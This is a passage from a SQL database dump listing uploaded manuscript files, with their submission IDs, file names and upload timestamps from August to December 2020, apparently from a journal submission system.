22:56:42',1,1,0),(9646,5892,'5892-0-Manuscript-2020-08-21.pdf',NULL,'2020-08-21 05:46:23',1,1,0),(9665,5902,'5902-0-Manuscript-2020-08-22.docx',NULL,'2020-08-22 16:19:00',1,1,0),(9685,5907,'5907-0-Manuscript-2020-08-23.docx',NULL,'2020-08-23 19:43:41',1,1,0),(9686,5907,'5907-1-Manuscript-2020-08-23.png',NULL,'2020-08-23 19:43:41',1,1,0),(9687,5907,'5907-2-Manuscript-2020-08-23.pdf',NULL,'2020-08-23 19:43:41',1,1,0),(9693,5912,'5912-0-Manuscript-2020-08-24.docx',NULL,'2020-08-24 05:35:10',1,1,0),(9695,5914,'5914-0-Manuscript-2020-08-24.docx',NULL,'2020-08-24 07:14:25',1,1,0),(9702,5921,'5921-0-Manuscript-2020-08-24.docx',NULL,'2020-08-24 11:16:30',1,1,0),(9703,5922,'5922-0-Manuscript-2020-08-24.pdf',NULL,'2020-08-24 11:20:37',1,1,0),(9707,5925,'5925-0-Manuscript-2020-08-24.docx',NULL,'2020-08-24 16:50:17',1,1,0),(9742,5948,'5948-0-Manuscript-2020-08-25.pdf',NULL,'2020-08-25 18:58:45',1,1,0),(9753,5859,'5859-1225-Manuscript-2020-08-26.docx',NULL,'2020-08-26 10:46:13',1,1,0),(9763,5959,'5959-0-Manuscript-2020-08-26.docx',NULL,'2020-08-26 20:42:11',1,1,0),(9764,5960,'5960-0-Manuscript-2020-08-27.doc',NULL,'2020-08-27 03:37:19',1,1,0),(9766,5962,'5962-0-Manuscript-2020-08-27.pdf',NULL,'2020-08-27 06:48:51',1,1,0),(9794,5989,'5989-0-Manuscript-2020-08-29.docx',NULL,'2020-08-29 15:06:15',1,1,0),(9795,5989,'5989-1-Manuscript-2020-08-29.JPEG',NULL,'2020-08-29 15:06:15',1,1,0),(9796,5989,'5989-2-Manuscript-2020-08-29.JPEG',NULL,'2020-08-29 15:06:15',1,1,0),(9802,5994,'5994-0-Manuscript-2020-08-30.docx',NULL,'2020-08-30 14:17:42',1,1,0),(9826,5833,'5833-1811-Manuscript-2020-09-01.docx',NULL,'2020-09-01 03:25:22',1,1,0),(9833,6013,'6013-0-Manuscript-2020-09-01.docx',NULL,'2020-09-01 11:25:24',1,1,0),(9837,6017,'6017-0-Manuscript-2020-09-01.docx',NULL,'2020-09-01 14:45:15',1,1,0),(9852,6025,'6025-0-Manuscript-2020-09-02.docx',NULL,'2020-09-02 13:27:21',1,1,0),(9853,6026,'6026-0-Manuscript-2020-09-03.doc',NULL,'2020-09-03 02:01:30',1,1,0),(9854,6026,'6026-1-Manuscript-2020-09-03.tiff',NULL,'2020-09-03 02:01:30',1,1,0),(9855,6026,'6026-2-Manuscript-2020-09-03.docx',NULL,'2020-09-03 02:01:30',1,1,0),(9856,6026,'6026-3-Manuscript-2020-09-03.docx',NULL,'2020-09-03 02:01:30',1,1,0),(9857,6026,'6026-4-Manuscript-2020-09-03.docx',NULL,'2020-09-03 02:01:30',1,1,0),(9858,6026,'6026-5-Manuscript-2020-09-03.pdf',NULL,'2020-09-03 02:01:30',1,1,0),(9867,6035,'6035-0-Manuscript-2020-09-03.docx',NULL,'2020-09-03 20:47:45',1,1,0),(9873,6041,'6041-0-Manuscript-2020-09-04.docx',NULL,'2020-09-04 13:11:04',1,1,0),(9875,6043,'6043-0-Manuscript-2020-09-04.docx',NULL,'2020-09-04 13:26:46',1,1,0),(9878,6046,'6046-0-Manuscript-2020-09-05.doc',NULL,'2020-09-05 04:12:43',1,1,0),(9894,6049,'6049-0-Manuscript-2020-09-06.docx',NULL,'2020-09-06 07:49:25',1,1,0),(9895,6049,'6049-1-Manuscript-2020-09-06.doc',NULL,'2020-09-06 07:49:25',1,1,0),(9896,6050,'6050-0-Manuscript-2020-09-06.docx',NULL,'2020-09-06 14:56:22',1,1,0),(9897,6051,'6051-0-Manuscript-2020-09-06.docx',NULL,'2020-09-06 14:59:07',1,1,0),(9905,6058,'6058-0-Manuscript-2020-09-07.docx',NULL,'2020-09-07 09:21:35',1,1,0),(9917,6064,'6064-0-Manuscript-2020-09-07.doc',NULL,'2020-09-07 20:19:54',1,1,0),(9918,6065,'6065-0-Manuscript-2020-09-07.docx',NULL,'2020-09-07 20:35:35',1,1,0),(9921,6067,'6067-0-Manuscript-2020-09-08.docx',NULL,'2020-09-08 08:37:42',1,1,0),(9922,6067,'6067-1-Manuscript-2020-09-08.docx',NULL,'2020-09-08 08:37:42',1,1,0),(9924,6069,'6069-0-Manuscript-2020-09-08.docx',NULL,'2020-09-08 10:09:44',1,1,0),(9928,6073,'6073-0-Manuscript-2020-09-08.docx',NULL,'2020-09-08 17:01:08',1,1,0),(9929,6073,'6073-1-Manuscript-2020-09-08.docx',NULL,'2020-09-08 17:01:09',1,1,0),(9930,6073,'6073-2-Manuscript-2020-09-08.docx',NULL,'2020-09-08 17:01:09',1,1,0),(9931,6073,'6073-3-Manuscript-2020-09-08.doc',NULL,'2020-09-08 17:01:09',1,1,0),(9933,6076,'6076-0-Manuscript-2020-09-08.docx',NULL,'2020-09-08 18:18:40',1,1,0),(9943,6085,'6085-0-Manuscript-2020-09-09.docx',NULL,'2020-09-09 19:11:03',1,1,0),(9944,6086,'6086-0-Manuscript-2020-09-09.docx',NULL,'2020-09-09 22:04:04',1,1,0),(9949,6090,'6090-0-Manuscript-2020-09-10.docx',NULL,'2020-09-10 07:25:53',1,1,0),(9955,6067,'6067-1831-Manuscript-2020-09-11.docx',NULL,'2020-09-11 03:31:51',1,1,0),(9976,6114,'6114-0-Manuscript-2020-09-14.docx',NULL,'2020-09-14 12:34:47',1,1,0),(9998,6125,'6125-0-Manuscript-2020-09-15.doc',NULL,'2020-09-15 07:11:45',1,1,0),(9999,6126,'6126-0-Manuscript-2020-09-15.docx',NULL,'2020-09-15 07:42:12',1,1,0),(10001,6128,'6128-0-Manuscript-2020-09-15.docx',NULL,'2020-09-15 10:50:03',1,1,0),(10015,6136,'6136-0-Manuscript-2020-09-15.docx',NULL,'2020-09-15 12:18:41',1,1,0),(10018,6139,'6139-0-Manuscript-2020-09-15.docx',NULL,'2020-09-15 16:48:44',1,1,0),(10022,5766,'5766-1565-Manuscript-2020-09-15.docx',NULL,'2020-09-15 22:49:38',1,1,0),(10023,5766,'5766-1051-Manuscript-2020-09-15.docx',NULL,'2020-09-15 22:51:12',1,1,0),(10024,5766,'5766-571-Manuscript-2020-09-15.docx',NULL,'2020-09-15 22:52:07',1,1,0),(10025,5766,'5766-1748-Manuscript-2020-09-15.docx',NULL,'2020-09-15 23:00:47',1,1,0),(10026,6143,'6143-0-Manuscript-2020-09-16.docx',NULL,'2020-09-16 05:08:03',1,1,0),(10027,6144,'6144-0-Manuscript-2020-09-16.docx',NULL,'2020-09-16 05:12:36',1,1,0),(10028,6145,'6145-0-Manuscript-2020-09-16.docx',NULL,'2020-09-16 05:14:24',1,1,0),(10029,6146,'6146-0-Manuscript-2020-09-16.docx',NULL,'2020-09-16 05:21:23',1,1,0),(10036,6153,'6153-0-Manuscript-2020-09-16.docx',NULL,'2020-09-16 13:05:57',1,1,0),(10058,6165,'6165-0-Manuscript-2020-09-17.docx',NULL,'2020-09-17 17:43:13',1,1,0),(10081,6181,'6181-0-Manuscript-2020-09-21.docx',NULL,'2020-09-21 10:26:32',1,1,0),(10091,6189,'6189-0-Manuscript-2020-09-22.docx',NULL,'2020-09-22 05:25:52',1,1,0),(10097,6191,'6191-0-Manuscript-2020-09-22.docx',NULL,'2020-09-22 07:25:36',1,1,0),(10120,6204,'6204-0-Manuscript-2020-09-23.pdf',NULL,'2020-09-23 08:51:30',1,1,0),(10136,6213,'6213-0-Manuscript-2020-09-24.docx',NULL,'2020-09-24 15:27:19',1,1,0),(10139,6216,'6216-0-Manuscript-2020-09-24.docx',NULL,'2020-09-24 18:53:54',1,1,0),(10140,6217,'6217-0-Manuscript-2020-09-24.docx',NULL,'2020-09-24 20:11:09',1,1,0),(10146,6223,'6223-0-Manuscript-2020-09-25.docx',NULL,'2020-09-25 21:35:52',1,1,0),(10147,6223,'6223-1-Manuscript-2020-09-25.pptx',NULL,'2020-09-25 21:35:52',1,1,0),(10151,6227,'6227-0-Manuscript-2020-09-26.docx',NULL,'2020-09-26 12:04:11',1,1,0),(10153,6229,'6229-0-Manuscript-2020-09-26.docx',NULL,'2020-09-26 13:14:51',1,1,0),(10156,6232,'6232-0-Manuscript-2020-09-26.docx',NULL,'2020-09-26 18:39:17',1,1,0),(10159,6235,'6235-0-Manuscript-2020-09-27.docx',NULL,'2020-09-27 01:32:36',1,1,0),(10166,6237,'6237-0-Manuscript-2020-09-27.docx',NULL,'2020-09-27 05:49:17',1,1,0),(10167,6237,'6237-1-Manuscript-2020-09-27.docx',NULL,'2020-09-27 05:49:17',1,1,0),(10168,6237,'6237-3-Manuscript-2020-09-27.docx',NULL,'2020-09-27 05:49:17',1,1,0),(10169,6237,'6237-4-Manuscript-2020-09-27.docx',NULL,'2020-09-27 05:49:17',1,1,0),(10170,6237,'6237-5-Manuscript-2020-09-27.docx',NULL,'2020-09-27 05:49:17',1,1,0),(10171,6237,'6237-6-Manuscript-2020-09-27.docx',NULL,'2020-09-27 05:49:17',1,1,0),(10172,6237,'6237-7-Manuscript-2020-09-27.docx',NULL,'2020-09-27 05:49:17',1,1,0),(10173,6238,'6238-0-Manuscript-2020-09-27.docx',NULL,'2020-09-27 10:26:04',1,1,0),(10174,6239,'6239-0-Manuscript-2020-09-27.doc',NULL,'2020-09-27 12:18:25',1,1,0),(10175,6239,'6239-1-Manuscript-2020-09-27.doc',NULL,'2020-09-27 12:18:25',1,1,0),(10178,6242,'6242-0-Manuscript-2020-09-27.docx',NULL,'2020-09-27 18:22:00',1,1,0),(10179,6242,'6242-1-Manuscript-2020-09-27.docx',NULL,'2020-09-27 18:22:00',1,1,0),(10187,6245,'6245-0-Manuscript-2020-09-28.docx',NULL,'2020-09-28 07:38:56',1,1,0),(10198,6253,'6253-0-Manuscript-2020-09-28.docx',NULL,'2020-09-28 22:03:48',1,1,0),(10199,6253,'6253-1-Manuscript-2020-09-28.docx',NULL,'2020-09-28 22:03:48',1,1,0),(10200,6253,'6253-2-Manuscript-2020-09-28.png',NULL,'2020-09-28 22:03:48',1,1,0),(10201,6253,'6253-3-Manuscript-2020-09-28.png',NULL,'2020-09-28 22:03:48',1,1,0),(10202,6253,'6253-4-Manuscript-2020-09-28.PNG',NULL,'2020-09-28 22:03:48',1,1,0),(10203,6253,'6253-5-Manuscript-2020-09-28.docx',NULL,'2020-09-28 22:03:48',1,1,0),(10204,6253,'6253-6-Manuscript-2020-09-28.docx',NULL,'2020-09-28 22:03:48',1,1,0),(10205,6253,'6253-7-Manuscript-2020-09-28.docx',NULL,'2020-09-28 22:03:48',1,1,0),(10206,6253,'6253-8-Manuscript-2020-09-28.docx',NULL,'2020-09-28 22:03:48',1,1,0),(10207,6253,'6253-9-Manuscript-2020-09-28.doc',NULL,'2020-09-28 22:03:48',1,1,0),(10220,6255,'6255-0-Manuscript-2020-09-29.docx',NULL,'2020-09-29 05:16:35',1,1,0),(10230,6261,'6261-0-Manuscript-2020-09-29.docx',NULL,'2020-09-29 15:01:06',1,1,0),(10231,6262,'6262-0-Manuscript-2020-09-29.docx',NULL,'2020-09-29 19:23:08',1,1,0),(10232,6262,'6262-1-Manuscript-2020-09-29.doc',NULL,'2020-09-29 19:23:08',1,1,0),(10233,6262,'6262-2-Manuscript-2020-09-29.docx',NULL,'2020-09-29 19:23:09',1,1,0),(10234,6262,'6262-3-Manuscript-2020-09-29.docx',NULL,'2020-09-29 19:23:09',1,1,0),(10237,6264,'6264-0-Manuscript-2020-09-29.docx',NULL,'2020-09-29 22:22:07',1,1,0),(10247,6273,'6273-0-Manuscript-2020-09-30.docx',NULL,'2020-09-30 07:38:20',1,1,0),(10248,6274,'6274-0-Manuscript-2020-09-30.docx',NULL,'2020-09-30 08:04:26',1,1,0),(10253,6279,'6279-0-Manuscript-2020-09-30.docx',NULL,'2020-09-30 15:49:18',1,1,0),(10257,6282,'6282-0-Manuscript-2020-09-30.docx',NULL,'2020-09-30 15:58:16',1,1,0),(10267,6292,'6292-0-Manuscript-2020-10-01.docx',NULL,'2020-10-01 09:57:18',1,1,0),(10290,6239,'6239-709-Manuscript-2020-10-02.docx',NULL,'2020-10-02 07:59:30',1,1,0),(10302,6305,'6305-0-Manuscript-2020-10-03.docx',NULL,'2020-10-03 19:21:45',1,1,0),(10318,6316,'6316-0-Manuscript-2020-10-05.doc',NULL,'2020-10-05 07:40:44',1,1,0),(10320,6318,'6318-0-Manuscript-2020-10-05.docx',NULL,'2020-10-05 08:47:06',1,1,0),(10330,6328,'6328-0-Manuscript-2020-10-06.docx',NULL,'2020-10-06 15:58:43',1,1,0),(10335,4194,'4194-1516-Manuscript-2020-10-07.docx',NULL,'2020-10-07 05:31:57',1,1,0),(10337,5959,'5959-332-Manuscript-2020-10-07.docx',NULL,'2020-10-07 07:56:54',1,2,0),(10343,5948,'5948-919-Manuscript-2020-10-07.pdf',NULL,'2020-10-07 17:21:10',1,2,0),(10354,6340,'6340-0-Manuscript-2020-10-07.docx',NULL,'2020-10-07 22:09:33',1,1,0),(10360,6346,'6346-0-Manuscript-2020-10-08.doc',NULL,'2020-10-08 13:45:51',1,1,0),(10361,6347,'6347-0-Manuscript-2020-10-08.docx',NULL,'2020-10-08 13:59:39',1,1,0),(10362,6348,'6348-0-Manuscript-2020-10-08.docx',NULL,'2020-10-08 14:10:40',1,1,0),(10363,6349,'6349-0-Manuscript-2020-10-08.docx',NULL,'2020-10-08 14:20:14',1,1,0),(10364,6350,'6350-0-Manuscript-2020-10-08.pdf',NULL,'2020-10-08 14:43:07',1,1,0),(10365,6351,'6351-0-Manuscript-2020-10-08.docx',NULL,'2020-10-08 14:54:14',1,1,0),(10374,6358,'6358-0-Manuscript-2020-10-09.docx',NULL,'2020-10-09 16:22:06',1,1,0),(10375,6358,'6358-1-Manuscript-2020-10-09.docx',NULL,'2020-10-09 16:22:06',1,1,0),(10376,6282,'6282-1889-Manuscript-2020-10-09.docx',NULL,'2020-10-09 21:07:50',1,2,0),(10380,5712,'5712-172-Manuscript-2020-10-10.docx',NULL,'2020-10-10 06:54:21',1,1,0),(10381,5712,'5712-911-Manuscript-2020-10-10.docx',NULL,'2020-10-10 06:54:29',1,1,0),(10382,5232,'5232-1906-Manuscript-2020-10-10.docx',NULL,'2020-10-10 08:34:11',1,1,0),(10395,6368,'6368-0-Manuscript-2020-10-11.docx',NULL,'2020-10-11 03:56:54',1,1,0),(10396,6368,'6368-1-Manuscript-2020-10-11.docx',NULL,'2020-10-11 03:56:54',1,1,0),(10411,6375,'6375-0-Manuscript-2020-10-12.docx',NULL,'2020-10-12 00:58:03',1,1,0),(10412,6375,'6375-1-Manuscript-2020-10-12.docx',NULL,'2020-10-12 00:58:04',1,1,0),(10416,6379,'6379-0-Manuscript-2020-10-12.docx',NULL,'2020-10-12 07:36:19',1,1,0),(10421,5126,'5126-817-Manuscript-2020-10-12.docx',NULL,'2020-10-12 11:00:47',1,1,0),(10429,6389,'6389-0-Manuscript-2020-10-13.docx',NULL,'2020-10-13 11:23:44',1,1,0),(10430,6390,'6390-0-Manuscript-2020-10-13.pdf',NULL,'2020-10-13 12:04:28',1,1,0),(10453,6401,'6401-0-Manuscript-2020-10-15.docx',NULL,'2020-10-15 04:18:53',1,1,0),(10461,6408,'6408-0-Manuscript-2020-10-15.docx',NULL,'2020-10-15 17:15:05',1,1,0),(10462,6408,'6408-1-Manuscript-2020-10-15.docx',NULL,'2020-10-15 17:15:05',1,1,0),(10481,6419,'6419-0-Manuscript-2020-10-18.docx',NULL,'2020-10-18 10:36:48',1,1,0),(10483,6420,'6420-0-Manuscript-2020-10-18.docx',NULL,'2020-10-18 14:15:21',1,1,0),(10493,6428,'6428-0-Manuscript-2020-10-19.docx',NULL,'2020-10-19 16:12:54',1,1,0),(10494,6429,'6429-0-Manuscript-2020-10-19.docx',NULL,'2020-10-19 16:21:36',1,1,0),(10515,6440,'6440-0-Manuscript-2020-10-21.docx',NULL,'2020-10-21 03:43:49',1,1,0),(10518,6443,'6443-0-Manuscript-2020-10-21.pdf',NULL,'2020-10-21 10:12:38',1,1,0),(10522,6445,'6445-0-Manuscript-2020-10-21.docx',NULL,'2020-10-21 18:28:25',1,1,0),(10523,6445,'6445-1-Manuscript-2020-10-21.docx',NULL,'2020-10-21 18:28:25',1,1,0),(10535,6457,'6457-0-Manuscript-2020-10-22.docx',NULL,'2020-10-22 10:53:38',1,1,0),(10539,6460,'6460-0-Manuscript-2020-10-22.docx',NULL,'2020-10-22 16:50:25',1,1,0),(10544,6463,'6463-0-Manuscript-2020-10-22.docx',NULL,'2020-10-22 21:28:14',1,1,0),(10552,6466,'6466-0-Manuscript-2020-10-23.docx',NULL,'2020-10-23 11:21:00',1,1,0),(10553,6466,'6466-1-Manuscript-2020-10-23.docx',NULL,'2020-10-23 11:21:00',1,1,0),(10554,6466,'6466-2-Manuscript-2020-10-23.docx',NULL,'2020-10-23 11:21:00',1,1,0),(10563,6390,'6390-247-Manuscript-2020-10-24.docx',NULL,'2020-10-24 14:30:36',1,1,0),(10564,6390,'6390-1085-Manuscript-2020-10-24.docx',NULL,'2020-10-24 14:32:06',1,1,0),(10605,6497,'6497-0-Manuscript-2020-10-27.docx',NULL,'2020-10-27 23:20:56',1,1,0),(10615,6502,'6502-0-Manuscript-2020-10-28.docx',NULL,'2020-10-28 10:36:53',1,1,0),(10619,6506,'6506-0-Manuscript-2020-10-29.docx',NULL,'2020-10-29 01:02:03',1,1,0),(10622,6497,'6497-1535-Manuscript-2020-10-29.docx',NULL,'2020-10-29 07:31:34',1,1,0),(10623,6497,'6497-1096-Manuscript-2020-10-29.docx',NULL,'2020-10-29 07:31:34',1,1,0),(10624,6497,'6497-385-Manuscript-2020-10-29.tif',NULL,'2020-10-29 07:31:34',1,1,0),(10625,6497,'6497-1605-Manuscript-2020-10-29.tif',NULL,'2020-10-29 07:31:34',1,1,0),(10636,6518,'6518-0-Manuscript-2020-10-29.doc',NULL,'2020-10-29 17:17:37',1,1,0),(10667,6538,'6538-0-Manuscript-2020-10-30.docx',NULL,'2020-10-30 13:40:26',1,1,0),(10669,6540,'6540-0-Manuscript-2020-10-30.docx',NULL,'2020-10-30 14:06:30',1,1,0),(10679,6549,'6549-0-Manuscript-2020-10-31.docx',NULL,'2020-10-31 10:52:56',1,1,0),(10681,6551,'6551-0-Manuscript-2020-10-31.docx',NULL,'2020-10-31 16:23:13',1,1,0),(10700,6557,'6557-0-Manuscript-2020-11-01.docx',NULL,'2020-11-01 09:38:44',1,1,0),(10701,6557,'6557-1-Manuscript-2020-11-01.pdf',NULL,'2020-11-01 09:38:45',1,1,0),(10702,6557,'6557-2-Manuscript-2020-11-01.docx',NULL,'2020-11-01 09:38:46',1,1,0),(10704,6559,'6559-0-Manuscript-2020-11-01.jpg',NULL,'2020-11-01 20:35:57',1,1,0),(10705,6559,'6559-1-Manuscript-2020-11-01.mp4',NULL,'2020-11-01 20:35:58',1,1,0),(10706,6368,'6368-1051-Manuscript-2020-11-02.docx',NULL,'2020-11-02 10:15:00',1,1,0),(10716,6564,'6564-0-Manuscript-2020-11-02.docx',NULL,'2020-11-02 15:30:48',1,1,0),(10724,6572,'6572-0-Manuscript-2020-11-03.docx',NULL,'2020-11-03 14:49:18',1,1,0),(10734,6580,'6580-0-Manuscript-2020-11-04.pdf',NULL,'2020-11-04 12:53:14',1,1,0),(10737,6582,'6582-0-Manuscript-2020-11-05.docx',NULL,'2020-11-05 02:05:30',1,1,0),(10740,6584,'6584-0-Manuscript-2020-11-05.docx',NULL,'2020-11-05 07:03:17',1,1,0),(10741,6584,'6584-1-Manuscript-2020-11-05.docx',NULL,'2020-11-05 07:03:17',1,1,0),(10750,6591,'6591-0-Manuscript-2020-11-06.pdf',NULL,'2020-11-06 05:45:54',1,1,0),(10751,6592,'6592-0-Manuscript-2020-11-06.pdf',NULL,'2020-11-06 05:51:27',1,1,0),(10790,6617,'6617-0-Manuscript-2020-11-09.docx',NULL,'2020-11-09 06:54:06',1,1,0),(10812,6630,'6630-0-Manuscript-2020-11-11.docx',NULL,'2020-11-11 08:16:01',1,1,0),(10813,6631,'6631-0-Manuscript-2020-11-11.docx',NULL,'2020-11-11 09:47:26',1,1,0),(10814,6351,'6351-1354-Manuscript-2020-11-11.docx',NULL,'2020-11-11 11:31:41',1,1,0),(10826,6638,'6638-0-Manuscript-2020-11-12.pdf',NULL,'2020-11-12 18:01:17',1,1,0),(10829,6641,'6641-0-Manuscript-2020-11-12.docx',NULL,'2020-11-12 20:19:31',1,1,0),(10830,6641,'6641-1-Manuscript-2020-11-12.docx',NULL,'2020-11-12 20:19:32',1,1,0),(10831,6641,'6641-2-Manuscript-2020-11-12.docx',NULL,'2020-11-12 20:19:32',1,1,0),(10832,6642,'6642-0-Manuscript-2020-11-12.docx',NULL,'2020-11-12 21:40:32',1,1,0),(10833,6642,'6642-1-Manuscript-2020-11-12.docx',NULL,'2020-11-12 21:40:32',1,1,0),(10834,6642,'6642-2-Manuscript-2020-11-12.jpg',NULL,'2020-11-12 21:40:32',1,1,0),(10835,6642,'6642-3-Manuscript-2020-11-12.jpg',NULL,'2020-11-12 21:40:32',1,1,0),(10836,6643,'6643-0-Manuscript-2020-11-12.docx',NULL,'2020-11-12 23:16:30',1,1,0),(10837,6643,'6643-1-Manuscript-2020-11-12.docx',NULL,'2020-11-12 23:16:30',1,1,0),(10838,6643,'6643-2-Manuscript-2020-11-12.jpg',NULL,'2020-11-12 23:16:30',1,1,0),(10839,6644,'6644-0-Manuscript-2020-11-13.docx',NULL,'2020-11-13 00:54:18',1,1,0),(10840,6645,'6645-0-Manuscript-2020-11-13.docx',NULL,'2020-11-13 05:54:33',1,1,0),(10855,6658,'6658-0-Manuscript-2020-11-14.docx',NULL,'2020-11-14 21:22:35',1,1,0),(10870,6663,'6663-0-Manuscript-2020-11-15.zip',NULL,'2020-11-15 16:06:18',1,1,0),(10872,6665,'6665-0-Manuscript-2020-11-15.docx',NULL,'2020-11-15 17:53:08',1,1,0),(10873,6666,'6666-0-Manuscript-2020-11-15.docx',NULL,'2020-11-15 18:28:15',1,1,0),(10898,6669,'6669-0-Manuscript-2020-11-16.doc',NULL,'2020-11-16 02:49:00',1,1,0),(10908,6677,'6677-0-Manuscript-2020-11-16.docx',NULL,'2020-11-16 09:42:34',1,1,0),(10911,6680,'6680-0-Manuscript-2020-11-16.docx',NULL,'2020-11-16 12:03:46',1,1,0),(10912,6584,'6584-364-Manuscript-2020-11-16.docx',NULL,'2020-11-16 12:19:26',1,2,0),(10913,6584,'6584-136-Manuscript-2020-11-16.docx',NULL,'2020-11-16 12:19:26',1,2,0),(10914,6681,'6681-0-Manuscript-2020-11-16.docx',NULL,'2020-11-16 12:34:15',1,1,0),(10917,6684,'6684-0-Manuscript-2020-11-17.docx',NULL,'2020-11-17 00:34:01',1,1,0),(10933,6689,'6689-0-Manuscript-2020-11-17.docx',NULL,'2020-11-17 14:45:33',1,1,0),(10946,6695,'6695-0-Manuscript-2020-11-18.docx',NULL,'2020-11-18 11:55:53',1,1,0),(10951,6700,'6700-0-Manuscript-2020-11-19.docx',NULL,'2020-11-19 11:18:05',1,1,0),(10962,6707,'6707-0-Manuscript-2020-11-20.docx',NULL,'2020-11-20 11:27:58',1,1,0),(10965,6710,'6710-0-Manuscript-2020-11-20.doc',NULL,'2020-11-20 14:08:19',1,1,0),(10966,6710,'6710-1-Manuscript-2020-11-20.docx',NULL,'2020-11-20 14:08:19',1,1,0),(10967,6710,'6710-2-Manuscript-2020-11-20.docx',NULL,'2020-11-20 14:08:19',1,1,0),(10999,6731,'6731-0-Manuscript-2020-11-23.docx',NULL,'2020-11-23 05:32:41',1,1,0),(11007,6737,'6737-0-Manuscript-2020-11-23.docx',NULL,'2020-11-23 15:22:52',1,1,0),(11012,6741,'6741-0-Manuscript-2020-11-24.docx',NULL,'2020-11-24 07:24:48',1,1,0),(11039,6751,'6751-0-Manuscript-2020-11-25.docx',NULL,'2020-11-25 08:17:06',1,1,0),(11043,6755,'6755-0-Manuscript-2020-11-25.docx',NULL,'2020-11-25 15:49:48',1,1,0),(11048,6759,'6759-0-Manuscript-2020-11-26.docx',NULL,'2020-11-26 02:50:21',1,1,0),(11050,6761,'6761-0-Manuscript-2020-11-26.docx',NULL,'2020-11-26 06:02:07',1,1,0),(11053,6764,'6764-0-Manuscript-2020-11-26.docx',NULL,'2020-11-26 12:51:18',1,1,0),(11054,6764,'6764-1-Manuscript-2020-11-26.docx',NULL,'2020-11-26 12:51:18',1,1,0),(11055,6764,'6764-2-Manuscript-2020-11-26.jpg',NULL,'2020-11-26 12:51:18',1,1,0),(11056,6764,'6764-3-Manuscript-2020-11-26.jpg',NULL,'2020-11-26 12:51:18',1,1,0),(11057,6764,'6764-4-Manuscript-2020-11-26.jpg',NULL,'2020-11-26 12:51:18',1,1,0),(11058,6764,'6764-5-Manuscript-2020-11-26.jpg',NULL,'2020-11-26 12:51:18',1,1,0),(11059,6765,'6765-0-Manuscript-2020-11-26.pdf',NULL,'2020-11-26 14:21:54',1,1,0),(11064,6769,'6769-0-Manuscript-2020-11-27.pdf',NULL,'2020-11-27 14:41:24',1,1,0),(11065,6770,'6770-0-Manuscript-2020-11-27.docx',NULL,'2020-11-27 19:36:26',1,1,0),(11072,6765,'6765-1077-Manuscript-2020-11-28.docx',NULL,'2020-11-28 13:26:55',1,1,0),(11073,6765,'6765-1533-Manuscript-2020-11-28.docx',NULL,'2020-11-28 13:27:34',1,1,0),(11074,6775,'6775-0-Manuscript-2020-11-28.pdf',NULL,'2020-11-28 19:28:25',1,1,0),(11075,6775,'6775-1-Manuscript-2020-11-28.pdf',NULL,'2020-11-28 19:28:25',1,1,0),(11076,6775,'6775-2-Manuscript-2020-11-28.pdf',NULL,'2020-11-28 19:28:25',1,1,0),(11087,6784,'6784-0-Manuscript-2020-11-30.docx',NULL,'2020-11-30 17:51:28',1,1,0),(11103,6797,'6797-0-Manuscript-2020-12-02.odt',NULL,'2020-12-02 16:07:42',1,1,0),(11104,6797,'6797-1-Manuscript-2020-12-02.docx',NULL,'2020-12-02 16:07:42',1,1,0),(11105,6797,'6797-2-Manuscript-2020-12-02.docx',NULL,'2020-12-02 16:07:42',1,1,0),(11106,6797,'6797-3-Manuscript-2020-12-02.docx',NULL,'2020-12-02 16:07:42',1,1,0),(11107,6797,'6797-4-Manuscript-2020-12-02.tif',NULL,'2020-12-02 16:07:42',1,1,0),(11108,6797,'6797-5-Manuscript-2020-12-02.tif',NULL,'2020-12-02 16:07:42',1,1,0),(11109,6797,'6797-6-Manuscript-2020-12-02.tif',NULL,'2020-12-02 16:07:42',1,1,0),(11110,6797,'6797-7-Manuscript-2020-12-02.pdf',NULL,'2020-12-02 16:07:42',1,1,0),(11117,6800,'6800-0-Manuscript-2020-12-03.docx',NULL,'2020-12-03 00:50:33',1,1,0),(11120,6803,'6803-0-Manuscript-2020-12-03.jpg',NULL,'2020-12-03 12:52:25',1,1,0),(11122,6770,'6770-1997-Manuscript-2020-12-03.docx',NULL,'2020-12-03 15:07:19',1,1,0),(11126,6808,'6808-0-Manuscript-2020-12-04.docx',NULL,'2020-12-04 12:16:49',1,1,0),(11135,6817,'6817-0-Manuscript-2020-12-05.pdf',NULL,'2020-12-05 21:53:05',1,1,0),(11147,6824,'6824-0-Manuscript-2020-12-07.docx',NULL,'2020-12-07 03:33:42',1,1,0),(11148,6825,'6825-0-Manuscript-2020-12-07.docx',NULL,'2020-12-07 04:49:29',1,1,0),(11149,6826,'6826-0-Manuscript-2020-12-07.pdf',NULL,'2020-12-07 05:21:05',1,1,0),(11163,6837,'6837-0-Manuscript-2020-12-08.docx',NULL,'2020-12-08 08:47:25',1,1,0),(11166,6840,'6840-0-Manuscript-2020-12-08.docx',NULL,'2020-12-08 12:30:59',1,1,0),(11167,6840,'6840-1-Manuscript-2020-12-08.docx',NULL,'2020-12-08 12:30:59',1,1,0),(11170,6843,'6843-0-Manuscript-2020-12-08.docx',NULL,'2020-12-08 16:36:43',1,1,0),(11171,6843,'6843-1-Manuscript-2020-12-08.docx',NULL,'2020-12-08 16:36:43',1,1,0),(11182,6849,'6849-0-Manuscript-2020-12-09.pdf',NULL,'2020-12-09 14:30:24',1,1,0),(11184,6851,'6851-0-Manuscript-2020-12-09.docx',NULL,'2020-12-09 21:29:00',1,1,0),(11193,6854,'6854-0-Manuscript-2020-12-10.docx',NULL,'2020-12-10 06:39:06',1,1,0),(11200,6860,'6860-0-Manuscript-2020-12-10.docx',NULL,'2020-12-10 21:57:06',1,1,0),(11201,6860,'6860-1-Manuscript-2020-12-10.jpg',NULL,'2020-12-10 21:57:06',1,1,0),(11202,6860,'6860-2-Manuscript-2020-12-10.jpg',NULL,'2020-12-10 21:57:06',1,1,0),(11203,6860,'6860-3-Manuscript-2020-12-10.jpg',NULL,'2020-12-10 21:57:06',1,1,0),(11204,6860,'6860-4-Manuscript-2020-12-10.jpg',NULL,'2020-12-10 21:57:06',1,1,0),(11205,6860,'6860-5-Manuscript-2020-12-10.jpg',NULL,'2020-12-10 21:57:06',1,1,0),(11206,6860,'6860-6-Manuscript-2020-12-10.jpg',NULL,'2020-12-10 21:57:06',1,1,0),(11207,6860,'6860-7-Manuscript-2020-12-10.jpg',NULL,'2020-12-10 21:57:06',1,1,0),(11208,6860,'6860-8-Manuscript-2020-12-10.jpg',NULL,'2020-12-10 21:57:06',1,1,0),(11210,6862,'6862-0-Manuscript-2020-12-11.docx',NULL,'2020-12-11 